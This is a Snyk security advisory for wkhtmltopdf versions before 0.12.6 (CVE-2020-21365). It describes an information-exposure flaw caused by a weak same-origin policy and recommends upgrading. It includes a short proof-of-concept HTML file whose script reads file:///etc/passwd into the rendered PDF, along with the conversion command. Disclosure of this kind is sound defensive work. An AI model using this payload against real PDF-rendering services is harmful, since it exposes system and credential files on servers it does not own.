Information Exposure Affecting wkhtmltopdf/wkhtmltopdf package, versions [,0.12.6)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.46% (64th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Information Exposure vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-WKHTMLTOPDFWKHTMLTOPDF-2981043
  • published16 Aug 2022
  • disclosed16 Aug 2022
  • creditarr0w1

Introduced: 16 Aug 2022

CVE-2020-21365  (opens in a new tab)
CWE-200  (opens in a new tab)

How to fix?

Upgrade wkhtmltopdf/wkhtmltopdf to version 0.12.6 or higher.

Overview

Affected versions of this package are vulnerable to Information Exposure due to weak same-origin policy, which makes it exploitable via a crafted HTML file running with the default configurations.

PoC:

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

</body></html>

// Convert to PDF:

wkhtmltopdf  /tmp/111.html  /tmp/result.pdf

CVSS Base Scores

version 3.1